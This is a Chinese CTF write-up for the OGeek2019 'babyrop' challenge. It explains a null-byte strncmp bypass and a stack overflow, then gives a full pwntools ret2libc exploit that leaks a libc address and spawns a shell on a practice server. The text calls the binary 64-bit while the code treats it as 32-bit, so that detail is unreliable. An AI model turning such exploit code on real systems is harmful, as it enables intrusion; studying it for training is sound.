[OGeek2019]babyrop
0x01
64位程序,开启NX
没有system函数和/bin/sh字符串
0x02
分析程序: main函数中,先读取一个随机数到fd,并作为参数传入sub_804871F函数,再将sub_804871F函数的返回值作为参数传入sub_80487D0函数里。
main函数
sub_804871F函数
sub_80487D0函数
观察程序我们可以发现sub_80487D0函数有栈溢出漏洞
然而想要利用栈溢出需要我们达成两个目标
1、绕过sub_804871F函数中的exit函数,这就要让strncmp的返回值为0
2、让sub_80487D0函数中a1(即buf[7])的ASCII码值尽可能大,构造栈溢出
0x03
首先第一步,我们知道,buf和s数组完全相等时,strncmp函数返回0,但是sprinf函数将随机数加到了s数组中,buf与s很难相等。不过在v1为0的时候strncmp函数也是会返回0的,而v1是读取的buf的大小,我们可以控制buf的第一位为'\x00',可起到截断字符串长度的效果。
第二步,若要利用栈溢出ret2libc泄露write函数地址的话,起码需要231+4+4*5 = 255个字节,所以让buf[7] = '\xff'即可。代码中的buf[v5-1] = 0改变的是字符串末尾'\x00'的值,不影响buf[7] 。
所以第一次读取的payload为
payload = b'\x00'+b'\xff'*7
p.sendline(payload)
p.recvuntil("Correct\n")
0x04
注意本题提供了libc,直接使用pwntools工具即可,不必使用LibcSearcher
main函数地址用elf.sym['main']是找不到的,objdump -t命令查看发现程序没有符号表,原因应该是出题人使用strip命令去符号表了
完整exp
from pwn import *
from LibcSearcher import *
context(os='linux', arch='i386', log_level='debug')
p = remote('node4.buuoj.cn',28188)
#p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('libc-2.23.so')
payload = b'\x00'+b'\xff'*7
p.sendline(payload)
p.recvuntil("Correct\n")
write_plt = elf.plt["write"]
write_got = elf.got["write"]
#main_addr = elf.plt['__libc_start_main']
main_addr = 0x8048825
payload1 = b'a'*0xe7+b'a'*4+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload1)
write_addr = u32(p.recv(4))
#print(hex(write_addr))
libc_base = write_addr - libc.sym["write"]
system_addr = libc_base+libc.sym["system"]
bin_sh_addr=libc_base+libc.search(b'/bin/sh').__next__()
p.sendline(payload)
p.recvuntil("Correct\n")
payload2 = b'a'*0xe7+b'a'*4+p32(system_addr)+p32(0)+p32(bin_sh_addr)
p.sendline(payload2)
p.interactive()
标签:babyrop,sub,函数,libc,write,OGeek2019,main,addr
From: https://www.cnblogs.com/imarch22/p/17612794.html